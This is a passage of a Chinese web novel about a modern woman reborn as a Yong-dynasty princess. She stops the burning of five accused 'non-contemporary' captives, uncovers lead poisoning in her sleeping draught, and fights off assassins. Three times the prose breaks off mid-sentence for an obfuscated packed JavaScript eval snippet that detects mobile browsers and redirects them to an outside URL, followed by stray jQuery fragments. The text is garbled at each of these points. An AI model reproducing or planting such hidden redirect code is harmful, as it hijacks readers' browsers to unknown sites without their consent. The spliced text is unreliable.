《公主与戏子(双穿越)》 1. 恰似故人归 雍和二十九年盛夏晚,皇宫。 一太监急匆匆闯入栖鸾宫主殿,奈何被守门的宫女拦下:“公主已就寝,今日概不见客。” 太监像是听闻什么噩耗般,沉重地发出一声悲嚎:“公主殿下!” “人命关天!国师大人说整个雍朝只有公主殿下能改变陛下的旨意!” “求求公主殿下帮帮那群无辜之人吧!” 替公主纳凉的宫女春雪听到‘公主殿下’四字后,她猛地从瞌睡中惊醒。 只见房门紧闭,榻上空无一人。 太监见他闹出如此动静,公主还不肯出门相见,正欲说出更猛烈的话语之时。 春雪阴沉着脸从房内走出:“住口!公主不见了!” —— 天阴沉沉地,遮住了月光。 熊熊燃烧的火光照亮一片天地,那架着的祭坛上正绑着一男四女。 夜晚的深宫寂静得可怕,微风拂过时,送来的也只有超度的梵语声。 在首位原地打坐、不穿龙袍偏穿僧服的雍和帝缓缓睁开浑浊双眼,不怒自威的帝王威严顷刻外泄:“子时已到,开祭坛。” “陛下不可!”笔直跪在雍和帝身前的国师颜晚周出声制止。 雍和帝眼睛微眯,眼底不悦十分明显。奈何颜晚周之心并不在此,他知晓光凭他一人是拦不住陛下接下来要做的事的。普天之下,能改变帝王心意的只有一人。 他急切地望向远方,心心念念着那道人影的出现。 雍和帝耐心告罄,直接下令:“点火。” 颜晚周惊愕抬头,等不来那人,他已做好以死劝君王回头的准备。就在这千钧一发之际,一道清丽悦耳的声音打破了现场的僵局。 “父皇。”女子温声亲唤着。 颜晚周顺着视线抬头看去,只见来人穿着一条桃粉色方领珍珠齐胸衫裙,束腰上绣着朵朵栩栩如生的梅花,细白修长的脖颈上戴着晶莹明亮的珍珠嵌粉梅花璎珞。 视线再往上去看去,便是一张惊心动魄的容颜。眉心一点梅花钿,纤眉微弯,桃眼杏腮,素齿朱唇,肤光胜雪。即使她只简单梳了一个单髻,但加上典雅而不繁琐的银梳篦头饰,配以红牡丹花和淡粉步摇相称,在这张脸上竟如此光彩动人。 她手提宫灯,身后空无一人。原本正欲点火的宫人纷纷停下手中的动作,各自分站在两侧,为她让出一条路。宫里谁人不识,谁人不知她温吟知,雍和帝后唯一的嫡公主。 亦是雍和帝最喜爱的公主。 原本龙颜大怒的雍和帝在见着娇俏贵气的女儿那一刻,原本紧拧的眉头都舒展了,温和地关怀着她:“已经子时了,浓浓怎么还未就寝。” “女儿瞧见此处火光冲天,十分好奇如此深夜何人敢在皇宫这般行迹。”温吟知浅浅环顾四周,视线只在祭坛上停留了一秒钟,随立刻收回对雍和帝笑道:“果然是父皇您在此。” 粉粉嫩嫩的装扮,可视线一直停留在温吟知身上的颜晚周,还是捕捉到她视线看向祭坛那一瞬上位者对事态绝对掌控的压迫感。 大概是他的目光太过热烈,温吟知漫不经心地垂眸扫视过他,红唇似有极小弧度的上扬。 颜晚周盯着她髻上微恍的流苏,突然间福至心灵,懂得她这一记眼神的含义。她仿佛在说,到你了。 于是颜晚周直面她,一双锐利的丹凤眼里充满了讥讽:“公主殿下,大祭司寻来这一男四女,说她们均是灭国的‘非当代之人’,要将其行火刑。臣查过她们的背景,均是无辜之人。” “夜晚深宫之中,火光滔天。火焰灼烧之痛会使人痛苦呼救,此事绝对瞒不过雍朝上下,必定会讨伐陛下为暴君。” 暴君这词一出,在场的所有宫人立即无声低头滑跪。 温吟知悄悄看去,父皇放在腹部的手,青筋凸显。 一直隐在雍和帝身后的大祭司陆今年笑着上前:“这灭国‘非当代之人’预言不正是国师大人您算出来的吗?国师大人这么多年来都寻不到这灭国者,臣为陛下解忧寻到了。怎么到国师大人口中,这群都有灭国嫌疑之人,就成了无辜之人。” 陆今年继续喋喋不休向颜晚周发起语言攻击,温吟知却在‘非当代之人’五个字一出后,五指不由握紧宫灯柄,目光直直落在当今国师颜晚周身上。 颜晚周。 一个十四岁便能推算出天意,预言雍朝将会葬在‘非当代之人’手中的少年天才。 从温吟知四岁那年听到这个预言起,就有些怕他。 因为她不是纯正的雍和人!她是穿越而来的现代人! 她原在现代过得好好的,父母疼爱,家庭和睦。身为独生女的她被父母培养二十五年,即将继承千万亿家产时,她却无缘无故死了! 还记得穿越前她在书桌上捡到一张照片。 照片上年轻俊美的男子一身红色戏袍,剪着微分碎盖的他,头戴着金蓝白珠凤冠,清冷俊美的似天仙落入凡尘。 温吟知觉得照片上的人很像她的偶像——顶流唱跳歌手肖赢。 待她凑前仔细一看时。 淦——眼前黑了。 等她再睁眼时,莫名就胎穿成了雍和帝后嫡女。 温吟知光是想起前世的父母朋友,还有没花够的钱,她就非常难过。但明确自己穿越且回不去的现实后,她接受命运为她安排的新人生。 她一生下来就获得雍和帝的喜欢。 别的皇子三岁启蒙,她三岁便能背得百篇文。待到四岁,她准备展露一些来自后世的才能时,当时年仅十四岁的颜晚周便推算出这灭国预言。 那时的她知晓此事后,十分害怕自己真实的身份被发现,早早嘎在了这深宫之中。于是她便歇了其它心思好好做古人,至今平安渡过了十六年。 但直到今日,就在刚刚,她又听见了这则预言。并且她的父皇也在用行动表明,他从未放弃寻找这灭国的‘非当代之人’。 “浓浓。”雍和帝走近,一股浓烈的丹药味从父皇身上散发开来,将她神游的思绪拉回现实。 温吟知缓缓抬眼,父皇正唤着她的小名,说:“国师与大祭司二人各执一词,依你所见,祭坛上这‘非当代之人’该如何处置。” 温吟知沉默。看不出心思的父皇,一旁观戏笑得不怀好意的陆今年,紧张等待她抉择的国师大人。 她转身,提着灯向身后祭坛走去。 陆今年以为她做出了决定,笑着撺掇她:“对!公主,用你手中的宫灯点燃这祭坛!” “公主。”是颜晚周冰冷又充满强烈警告与不满的呼唤。 她温吟知为什么能在大型现实后宫生存游戏中,成为存活十六年荣宠不衰的优秀玩家。那是因为她有一颗七窍玲珑心,她能看穿他人所思所求。 父皇口里还称这一男四女为‘非当代之人’。 父皇要她去点燃这祭坛,替他解决这困扰在他心中许久的心病。 借她之手,避后世骂名。 祭坛上四女一男,分别绑在不同的方位上。从温吟知的角度看过去,只能看见四位女子,那唯一的男子在祭坛的正后方。 他被挡住了。 这群‘非当代之人’均头发散乱,衣衫破烂。可视的肌肤上布满了大大小小的伤痕。 被架在祭坛上的她们均没有反应,也许是伤势太重,根本做不出反应。也许是她们早已心死,知晓自己是必死的结局。 前方便是祭坛了,无路可走。 温吟知伫立在祭坛前不动。 陆今年适时开口:“公主你还在犹豫什么?别忘了,你可是陛下最疼爱的公主。” 她轻笑,稳稳握住宫灯,仪态端庄地转身直面父皇颜晚周陆今年三人。 她说:“既然国师与大祭司各执一词,一方认为她们是‘非当代之人’,一方认为不是。” 她望着人时的眼睛总是亮晶晶的,明眸皓齿,笑靥如花。可说出的话,却比这张脸带来的视觉冲击性还要强。 她说:“那不如就交给上天决定吧。” 她抬头望向夜空:“一盏茶为限。若下雨,则天意明示她们不是‘非当代之人’。” “一盏茶过后,雨未下。”她停顿,“本公主将亲自点燃这祭坛。” 她话音一落,在场所有人明显都有一瞬间愣住,接着纷纷仰头望天。就连她父皇雍和帝亦如此。 天色如常,瞧不出要下雨的前奏。但空气闷热潮湿,外加这燃烧的火把让温度更加炙热。 忽地卷起一阵狂风,吹起温吟知垂下的袖子。接着便是猛烈的雨水扑面而来,迅速浇落在这片土地上。 温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309885|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吟知唇边微微勾起浅浅的笑容。 她赌对了。 一切都发展的太快,雍和帝甚至都来不及震惊便立即双手合十,虔诚下跪朝上天叩谢:“感谢天神指引,天佑朕雍朝。” 皇帝下跪,众人亦有模学样。只有温吟知除外。 她伸出手去感受指尖雨滴带来的温度。果然,只有用魔法打败魔法,才是最好的破局之法。 她,温吟知穿来雍和已经十六年了,是雍和帝最喜爱的公主。十六年的帝王教育教化,差点让她忘记她是一个来自后世的灵魂。 她做不到手染鲜血。 父皇,你可知真正的‘非当代之人’不是别人。正是此刻站在你面前,你最疼爱的女儿。 没有人比女儿知晓,这祭坛上的五人有多无辜。 “公主!”春雪拿着伞出现在后方。 听到呼唤的温吟知回头,春雪撑着伞向她跑来。雨水打湿了她的发髻,她的衣裳。春雪边跑边着急念叨着:“公主您都打湿了。”“死腿快跑啊,不要再让公主淋雨了。” 温吟知笑容愉悦地向春雪走去。 猛烈的雨带走了乌云,还给天地那一抹明月。清冷的月光恰巧落在那耸起的祭坛上,照亮那一直背对着众人的身影。 他同其余四名女子一样,双手被绑在木架上,浑身布满伤痕。衣服破烂之处可见密密麻麻、深浅不一的新旧伤痕。最明显的是那一双惨白至极,骨节分明的手在雨水的冲刷下,正流着红色的血。 顺着木架和雨水,流淌在青石径路上,延伸到温吟知面前。她的脚步猛地停留在原地。她的心跳,狂跳不止。 她迟疑了半响,忘记了呼吸,根本不敢抬头看。 春雪已经来到温吟知身侧,为她撑伞,遮去雨水。春雪很明显察觉到她的不对劲,此刻她眼底翻涌上来的情绪是诧异,是惊喜,是酸涩。又是失落,是自我否定的不可能。 春雪着急询问:“公主可是发生了何事?” 温吟知保持着原本姿势没动,但她头上的流苏发钗却来来回回剧烈晃动。她倏地抬起头,看向那道高大单薄的身影。 他浑身都湿透了,凌乱的黑发遮住他的面容,根本无法瞧见他的真容。 身体比理智先做出决定,温吟知下意识走向他。刚踏出一步,父皇就拿着披风过来,将披风盖在她身上,将她遮盖严严实实的,确保她不会被雨淋到。 父皇说:“雨势渐大,浓浓快随父皇离开。” 温吟知指着祭坛上的人说:“他……” 父皇强势打断她:“她们自有人处理。” 父皇推着她离开。她不想让他人察觉她的异常,只能顺从跟着父皇离开。 祭坛上有宫人解下捆绑在他身上的绳索,他脱力地跪在地上。微弱的月光勉强照亮他的脸庞,能看见他浓密又翘的睫羽轻轻颤动。 她已离远,却依旧在走出数十步后装作不经意的样子,回眸。 在这连绵不断的雨帘中,她只能隔着朦胧的身影察觉到他看了过来。 但雨势太大,水汽氤氲了她的视线,无法窥见雨帘那边的人。 她收回心,不再回头,心底甚至还自嘲一笑自己怎会冒出这般荒谬的想法。 穿越一事本就玄乎,是她不知道哪辈子修来的福德才换来一次新的生命。这么玄乎小而又小的事情,怎么还会发生在其他人身上。就算有,怎么会那么巧是她的偶像肖赢。就算是肖赢,他又会认得她吗? 她,也只不过是上亿粉丝中的一员罢了。 况且,她也并不想在这个世界遇见他。 “别看了,陛下和公主都已经走远了。你小子也真是好命,得公主与天神相救捡回来一条命。”留下来收拾现场的宫人也做了个阿弥陀佛的手势,虔诚地向四方拜了拜。 祭坛上的男子并未答话,宫人也知晓他伤得如此重,就剩着一口气吊着,根本回不了话。能撑到现在,没像其她人一般晕死过去,还能跪着目送陛下与公主远去,已经算他福大命大。 宫人疑惑地嘀咕道:“不过这雨到底是怎么回事?果真是天神的旨意吗?” “鱼……鳞……云”他艰难从喉间挤出这三个字。但雨声太大,遮盖住他的声音。 他记得他来时路。 天上,有一片鱼鳞云。 2. 雨夜困谈 雍和二十九年八月二十五的这场夜雨,丝毫没有停下的趋势。 温吟知被困在这夜雨中,无法前行。 父皇明日还要上早朝,便在避雨的宫殿打坐歇下了。温吟知退至殿外,站在离正殿稍远的长廊下——失神。 父皇这么多年从未放弃寻找灭国的‘非当代之人’,如有朝一日,有人跳出来说她才是真正的‘非当代之人’。 父皇也会亲手将她送上祭坛吗? 答案是——她不知道。 春雪率她带来的栖鸾宫人分站在温吟知身后两侧,正欲下跪请罪之时——有人来了。她们均同一时间回头,整齐划一地盯着这两位不速之客。 如此阵势,震慑的颜晚周与陆今年下意识驻足,不敢再向前迈出一步。传闻中备受盛宠的永宁公主身边,全是雍和帝寻来保护她安危的高手。颜晚周今日一见,才发现传言所言非虚。如此耳力与反应速度,自然不是一般宫人可比拟的。 永宁正是温吟知的封号,寓永宁安康之意。 春雪收回口中欲说之语,率先迈出一步挡在温吟知身后,语气不善道:“深夜来访,国师大人与大祭司可还有事?” “公主。”一声冰冷的尊称。国师大人仰视着她,一双锐利的丹凤眼微微眯起。 温吟知并未理会。 她跟颜晚周并不熟,这么多年来只是碰过十几面,并无深交。如今他与大祭司正在朝堂上斗得水生火热、你死我活的。二者深夜一块前来寻她,也难怪春雪不给他们好脸色看。 况且她也知晓那场天神降雨,父皇未必全信,但身为一国的国师与大祭司必是不信。能混到这种职务的两位官员,谁还不能懂点天气预报。 颜晚周并未恼公主的无视,反而提起兴致看向陆今年,抢先一步道:“大祭司听闻公主近来时时梦魇,特地前来询问能否入栖鸾宫为公主祛除邪祟。” 陆今年怒极反笑,他本欲寻公主问清楚,今日她为何要帮颜晚周,顺便试探二人是否联手对他。结果他刚从陛下那出来,颜晚周这厮就死皮赖脸的跟着他。 他去哪,颜晚周便去哪。 陆今年张口解释,他的视线越过春雪,正说出第一个字:“臣……” 就看见公主缓缓侧身回眸,看向他的眼神里充满凌厉以及暗含杀气。 粉嫩粉嫩的装扮,也遮挡不住她身上那令人难以琢磨的危险气质。 陆今年不知晓自己何时得罪过她。 他不知,但温吟知知晓。 这一个月以来,她只要一睡着,必然会做同一个梦。 白雾缭绕的梦境中,她梦见她的父皇当今的雍和帝,因为食用过量丹药,在五十岁生辰宴时驾崩了。她的母后在父皇驾崩后不久,因感染伤寒之症离世。父母皆亡后,她一母同胞的四哥哥拿出圣旨,继位成为雍朝下一任皇帝。 可是,四哥哥当上皇帝后第一件事便是软禁了她。入夜后还有一男子进入了她的寝殿……那看不清的梦里,她听见自己撕心裂肺的哭声,以及从门沿处渗出的鲜血。 梦境到此戛然而止,留给她未知、充满危险的想象空间。 她还没有看到她的最终结局。 温吟知猜测,按造现代穿越惯例,她很有可能是梦见了未来。这也许就是小说中,属于穿越女的金手指。 自然要问温吟知如今最讨厌的人是谁,那必然是梦境里害死父皇的大祭司陆今年莫属。陆今年这个名字,是大祭司入土中原后入乡随俗为自己取的名字。 三年前太子哥哥去世后,父皇受了刺激开始追求长生。 父皇向颜晚周寻求长生之术,但他回禀给父皇的折子里都是些养生之术。父皇并不满意颜晚周给出的法子,又想起他征战土蕃国时,身体和心灵曾在那得到过最纯净的洗涤。 于是父皇就这么重用土蕃国来的陆今年,封其为大祭司。 温吟知居高临下地看着陆今年,异域的长相让大祭司在人群中格外引人瞩目。高挺的鼻梁和深邃勾人的眼睛,直勾勾盯着你时,邪气又张扬。 温吟知随手拿起春雪为她挡雨的桃花伞,朝陆今年扔去,怒道:“给本宫滚!” 陆今年往颜晚周身后躲闪,桃花伞砸到颜晚周腿上,顺着衣摆滑落至地。偏偏颜晚周就直直站在那,不偏不躲,直受着公主之怒。 她冷峻的眼神越过颜晚周看向陆今年:“邪祟?是说本宫殿内有邪祟,还是说本宫是邪祟!” “或者说,大祭司真正的意思是,”她语气稍缓,眯眼警告陆今年:“本宫才是那灭国的‘非当代之人’” “你也要将本宫放在那祭坛上烧死吗?” 先是被颜晚周倒打一耙,再无辜承受公主之怒的陆今年,算是真正体会到什么叫做有口难言。他连连拍手,直说三个好好好,咬牙切齿地对颜晚周说:“颜晚周你整我!” 颜晚周不语,弯腰拾起桃花伞。 一国既有国师又有大祭司,他们俩注定就是敌对的位置。 温吟知理智稍回,反应过来自己被颜晚周利用了。果不其然,陆今年直言不讳问她:“公主今夜帮他,可是选择与他联手对付臣。” 这般密讳,宫人自动退至三米之外。 温吟知没有立即答话,她本不欲卷入国师与大祭司的二人之争。她今夜帮的也不是颜晚周,而是父皇,更是她自己。 这一把火若点燃,烧得是雍朝江山和她自己。 温吟知向陆今年缓缓走来,陈述着事实:“本宫谁都不帮,但你若想要成为本宫的人,也不是不行。” 颜晚周想借她手打压陆今年,她也不是傻白甜公主,必然不能平白无故让人利用。 她语气温柔利诱陆今年:“只要你能让父皇戒掉你的丹药。” 断了源头丹药,父皇还会因丹药败坏身子而驾崩吗? 她话音刚落,现场发出一声刺耳的吱吱声以示不满。 温吟知抬眼看去,浑身散发着冰冷气场的颜晚周捏碎了桃花伞的伞骨。 这出美人计,她看似温柔实则步步紧逼。陆今年玩味的眼神来回扫视温吟知和颜晚周,最终他轻轻一笑,凑近身子对颜晚周说:“你就要完了。” 颜晚周厌恶地推开陆今年,并未出言与其争锋相对。若陆今年真能劝陛下不再服用丹药,那多位公主一块打压他又如何。 可是颜晚周似乎忘记了,当初他遭陛下嫌弃,陆今年崛起,正是因为他不欲替陛下求仙问药,才有了又争又抢的后来者居上。 陆今年可不会自断荣华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309886|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 富贵之路,除非有更稳固的利益保障。他带着侵略性的眼神看着温吟知,微微勾起唇角笑道:“若是公主嫁给我,那我自当听公主的话,替公主做成想要之事。” “放肆!”温吟知扬起手,狠狠扇了陆今年一巴掌。 且不说她可是雍和帝唯一的嫡公主,已故的太子和现在最有希望继位的四皇子,都是她一母同胞的亲哥哥。就光凭陆今年进土中原前就净了身,根本不算是个完整的男人一事上,温吟知就根本不可能嫁给他。 陆今年说的这句话完全就是在折辱她。 啪——巴掌落在陆今年的脸上那一刻,飘过来一阵好闻的桃花香气。香气充盈着他鼻腔的那一瞬间陆今年反而笑了,他脸上火辣辣的感觉已经不是疼了。 他捂着被打红的那半张脸,身体从未在这一刻如此兴奋过。他说:“公主,你该嫁人了。” “嫁给谁好呢?”他的手轻轻滑过被打的痕迹,笑容诡异。 “陛下如今最喜欢的臣子是林尚书。不如就嫁给林尚书令嫡次子林二公子如何?听闻他从小与公主一块长大,与公主青梅竹马,世人皆知他仰慕公主,是公主的疯狂追求者。” 温吟知审视着他,看着他越来越疯狂。 他张开双手大笑:“那就他好了。明日我便会劝陛下为公主赐婚,公主可真是要好好谢谢我。” 温吟知压抑着自己的情绪,扬起下巴深吸一口气再长长呼出。 陆今年这是要将她从权力的中心剥离出去。 在这个时代,未嫁从父、既嫁从夫。嫁了人便是他人妇,女子后半生的荣辱全系在夫家。今夜她救下那群人一事,算是彻底得罪陆今年了。 成功扳回一场的陆今年控制不住他那得意的情绪,他本就是张扬放肆的性子,如今能把陛下最宝贝的公主气得说不出一个字反驳他,他只感觉到前所未有的痛快。 甚至内心里还期待着她的反击。 至于颜晚周,陆今年好心好意走到颜晚周身侧,悄悄提点颜晚周一句:“越漂亮的女人越危险,特别是那种穿得越粉的女人——” 他弯唇笑道:“越狠。” 颜晚周藏在袖子里的手悄悄攥紧。 陆今年笑着大摇大摆扬长而去,现场只剩下颜晚周与温吟知二人。 “公主,陆今年留不得。他在位一日,陛下就一日不会停止寻找‘非当代之人’,还会有无辜之人丧命。陛下亦不会停止求仙问药,只有公主与臣联手才能除掉他。”颜晚周说道。 “出去。”温吟知冷斥他。 陆今年不是好人,他颜晚周又是什么好东西。若非那则预言,父皇怎会如此疑神疑鬼,她又怎会担惊受怕潜伏十六年。最终闹成这般模样,他颜晚周也脱不了什么干系。 颜晚周也是有脾气的,他好言相劝不成反遭训斥。于是他朝温吟知行礼,转身退下之前,忍不住讥讽道:“公主好好思虑一下景明太子活着时雍朝是如何盛世,如今又是如何‘盛世’!” “公主如今所做所为,当得起兄长十六年来的教诲吗?” 再次听到太子哥哥名讳,温吟知原本挺直的腰板瞬间泄了力。 等颜晚周走远,温吟知的女暗卫从暗处里走来,冷冷地问她:“公主,还死吗?” 3. 她偏要活 还死吗? 温吟知扪心自问这个问题的答案。 在火祭之前,她是想的。 一个月来只要一睡着,她便会做同一个梦。她在梦里经历了无数遍父皇同母后的死亡,她被软禁了不知道多久,听见自己撕心裂肺的哭声多少次,还有那铺满梦境里的鲜血。 最重要的是她醒来后,梦里带来的痛感竟然是真实的。即使她每次都饮用安神汤,她依然每次都疼得冷汗直流。即使她咬紧白布,指甲嵌入肉里也无法制止身上的痛意。 栖鸾宫那么多人都未发现她不见了,不是因为她们玩忽职守。而是因为她让春婳在不惊动众人的情况下,带她出栖鸾宫去了钦天监的摘星楼。她想在那再看一眼这世间的万家灯火与满天星辰。 可偏偏今夜是个阴天,乌云密布,无月无星。万家灯火已暗,只有那一处地方,撕裂了黑暗,火光通天。 那时候春婳也问了这句话:“公主,还死吗?” 温吟知当时是如此回答她的:“先不死了。” 如今春婳又问了这个问题,温吟知这一个月来被疼痛折磨的脑子忽然间清明了许多。 “春雪春婳。”温吟知一声令下,两位宫女立刻现身。 “公主,我在。”她们异口同声道。 “带上人,跟我走。”温吟知直接踏入夜雨中,冒雨前行。 冰凉的雨落在她的身上,每淋湿一寸她的脑子就越发清醒一次。 温吟知到达太医院的时候已经浑身湿透了,但她无所谓。皇宫太医院深夜里当值的太医很少,温吟知一入到太医院就吩咐她手下的人。 “把太医院所有太医与医侍一人一间屋子隔离开来,再去寻本公主这一月来所有的问诊记录翻出来,以及今晚本公主所服用汤药的药渣一块呈上来。” “是。”春雪春婳领命下去执行任务。 殿外哗哗的雨声中混杂着吵乱的人声,温吟知坐在正殿主位上,翻开春婳带回来她这个月就诊的医案。果不其然,她服药七日后的方子换了。 太医与太医之间或许会因为某些势力而互相打掩护,不会告知她新方子真正的用途。但她第一时间将太医和医侍都隔离开来,均让他们辨认这同一个方子。这样到底谁在说谎,这个方子真正的用途马上就能揭晓。 春雪也带着药渣回来了,她回禀道:“所有太医都说公主后面新换的这方子,是宫里常见的安神汤。是公主日日梦魇不见转好后,经过皇后娘娘的同意后太医才将方子换了。药渣也寻太医辨认过,和方子对应一致。” 春雪说完后,小心翼翼地问一句:“公主,可是这方子有问题吗?” 温吟知不语,她接过春雪用纸包裹好的药渣,检出一团白色的膏体,道:“让太医一个一个来见本公主。” 值夜的太医一个接一个进来见温吟知,温吟知均让他们指认这包药渣上的所有药材。 直到一满脸白胡子的太医进来,他粗略看药渣一眼后,直说道:“公主不用问了,此方子是安神汤无疑。这团白色的膏体名为铅白霜,太医们都一致认为它入药无害。但老臣斗胆一言,此药长期过量服用这铅白霜会导致人昏昏欲睡、精神萎靡,失去活力。” 温吟知心中的猜测终于得到证实。她抬眼记住眼前太医的模样,只说了一个字:“赏。” 李太医笑了笑,朝温吟知道谢:“老臣多谢公主。” 接下来自然会有人带他去领赏。待他走后,屋子里又只剩下温吟知同春雪春婳三人。春雪已经知晓这个安神汤喝多了不利身体健康,公主这一个月来一日两顿,顿顿不曾落下。 公主的身体……她不敢往下想。 而且这汤药还是皇后娘娘让换的,她忍不住红了眼眶,小声抽泣。当时公主不见了,她着急尚未多想。现在再怎么愚笨,她都反应过来公主为何不见。她日日夜夜陪在公主身边,她怎么会不知晓公主这一月来承受的痛苦。 “别哭,不是母后。”温吟知心里已经十分清楚,是谁要杀她。 铅白霜,按现代的说法来说,就是铅。人体摄入铅很容易引起铅中毒。这个人知晓她梦魇,利用她受梦境折磨这个弱点,换了她的方子,让她更加嗜睡。这样一来,她要么承受不住梦魇带来的痛苦,精神崩溃选择轻生。要么就是铅中毒,没多久可活了。 如若没有那场火祭,她差一点就死在了雍和二十九年八月二十五的这个晚上。 如今她终于可以回答春婳问的那个问题了。 她不怕死,也不畏惧死。 “但有人想要本公主死。”她凝视着这无尽的深夜:“本公主就偏要活。” 即便死,天潢贵胄就要有天潢贵胄的死法。她要问问那隐藏在暗处的‘杀人凶手’,为何非要将她只置于死地,不愿放一条生路给她。 “公主,有人来了。”春婳察觉到雨夜里不寻常的脚步声。她拔出藏于靴中匕首,挡在众人前面,快步迎着夜色走去。 —— “来财来财~”李太医拿着公主给的赏银,撑着伞哼着小曲走在回屋路上。心里想着永宁公主有钱有权,还出了名的护短。只要这一次他成功取信公主,他致任后的养老生活便不愁了。 别管朝堂各方势力如何更替,站公主这方绝对是风险最小的。 他正高兴之余,忽觉得自己眼花了。草席裹着的尸体,忽然间动了一下。太医院有停尸房的,这具尸体为何就这么随意扔在院中? 秉着医者的本心,李太医走过去打开了草席,手直接探在他脖颈上。 “咦!还有救耶!”李太医惊奇道,但是……他看看自己刚得的赏银,以及自己花了数十种珍贵药材配置的还阳丹。 他心一狠,将这还阳丹塞进男子口中,心疼道:“得,皇宫赚钱皇宫花,一分别想带回家。” 铛铛铛——深夜里传来兵器相击的碰击声。 李太医惊恐抬起头,怎么兵变了吗?杀到太医院了吗?那他不得赶紧逃命要紧! 不行!声音是从主院那传来的,公主还在那!他得回去救驾! “没时间管你了,活不活得下来就看你的造化。”李太医着急将草席给他盖上,“草席一盖,就算真是叛军来了,也不会闲得无聊对尸体砍上一刀。” 李太医说完慌乱中又想到什么,连忙拨开他湿漉漉的头发——一张肤色苍白却精致出尘的俊脸映入眼中。 “好!就你这张俊脸我记住了,活下来记得还我钱。”李太医又重复一遍方才的动作,将草席替他裹好。又想到放在院中央太过明显,将他挪到墙边不起眼的角落里。 干完这些事后,李太医捡起一树枝就往主院跑去:“公主,老臣来救您了!” 咻—— 被打飞的长刀直插入李太医脚下的土中,李太医被吓得后退一步,摔倒在地。 处在主屋门口的温吟知留意到这出动静,朝李太医喊道:“别过来送死。” 她说完,左边就有一黑衣人挥着刀向温吟知砍来。她一脚踹开黑衣人,将对方踢出一米远。 李太医睁大眼睛,震惊。 杀伐果断的春婳退回温吟知身侧,她手中原先的匕首已经换成了敌方的长刀。宫内不允许带刀,她保护公主只能带匕首。 “禁军的刀。”春婳言简意赅道。 当今能调动禁军的人只有陛下,是逃还是杀出一条血路,春婳在等公主抉择。 温吟知十分清楚父皇不会杀她,更不会用这种法子杀她。能调动禁军的人只有父皇一事不假,禁军会出现在此必然是领了父皇的命。温吟知一下子就明白了,父皇还是不放心要杀那五位灭国的‘非当代之人’。 宁可错杀,不可放过一个。这句话自古以来就是各位掌权者的名人名言。 “走,禁军之中出了叛徒。”温吟知当机立断选择了走。这群人的目标是她,只有她走了,栖鸾宫的其她人才能活下来。 春婳立刻拉着温吟知飞速往别院跑去。雨夜中原本还在厮杀的黑衣人见公主跑了,纷纷不再恋战,全部去追她。 春婳察觉到这样下去不行,她立刻放开温吟知的手:“公主先走,我断后。” “当心。”温吟知叮嘱一句,春婳冷冷点头。 夜雨依旧没停,春婳一人挡数名黑衣人。她们会分开跑,对方也会分散人员去追温吟知。甚至还有人预判到她逃跑方向,在前方埋伏等着她。 一把长刀自身后横在温吟知脖子上,她立刻握住刀柄反抗这向下割喉的力道。二人在力量较衡中,连转了好几个圈,她都没有找到突破口。在这种不利于她的形式下,她必须得速战速决。 “四哥哥!”她惊呼道,原本一心想弄死她的黑衣人力道松动,环顾四周并无一人。他刚意识到自己被骗了,脚踝出传来一道十分冰冷的力道。 他低头一看,竟然从草席中伸出一双苍白泥泞又血肉模糊的手! 在这个受雍和帝影响,时兴神佛论的朝代。雨夜这一双从黑暗深渊伸出的鬼魅的手,让黑衣人慌乱地想摆脱。 温吟知终于发现了黑衣人的破绽。 她立刻抬起前脚越过自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309887|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的头顶,快准狠向身后黑衣人的头颅一踢。被打蒙的后者还没反应过来,手中刀就被人反手一夺。 刀,架在了黑衣人的脖子上。 她从来就不是什么娇娇弱弱的公主。她从小就练舞也练武,就是为了在这种时刻能够自保。 在这种关键时刻,她只能快速扫视一眼地上的人。即使没有看见脸,光凭这道身影她就能认出来,是那位在祭坛上的男子。他被踹了一脚后便彻底安静了,只是那双瘦得骨节分明的手还死死抓着黑衣人的脚踝。 温吟知的心又在飞速跳动,一股莫名的恼意占据大脑。她直接单手掐住黑衣人的脖子,眼中起了杀意:“找死!” 下一瞬—— “统统住手!禁军在此,尔等谁敢造次!”颜晚周威严端正的声音穿透整座庭院,他带着手持火把的禁军从拐角出现。 此次身穿护甲的真正禁军将整个太医院包围,也迅速有禁军过来按压住温吟知手上的黑衣人。 “公主,请松手。”颜晚周语调冰冷的命令道。 眼前的公主宛如变了一个人般,即使她还穿着那身粉色的衫裙,但她右手拿着刀,左手掐着别人脖子的样子,着实令人生畏。颜晚周莫名想起今晚陆今年对他说过的一句话——特别是那种穿得越粉的女人,越狠。 见温吟知没反应,颜晚周说道:“传太医来医治。公主受了刺激,精神状态不是很好。” 颜晚周话落,陆今年撑着一把油纸伞笑着慢悠悠走来。 温吟知一看见陆今年,立刻就松开了手,道:“不必了,本公主没——事。” 后面那两个字,她特地咬着重音说出。 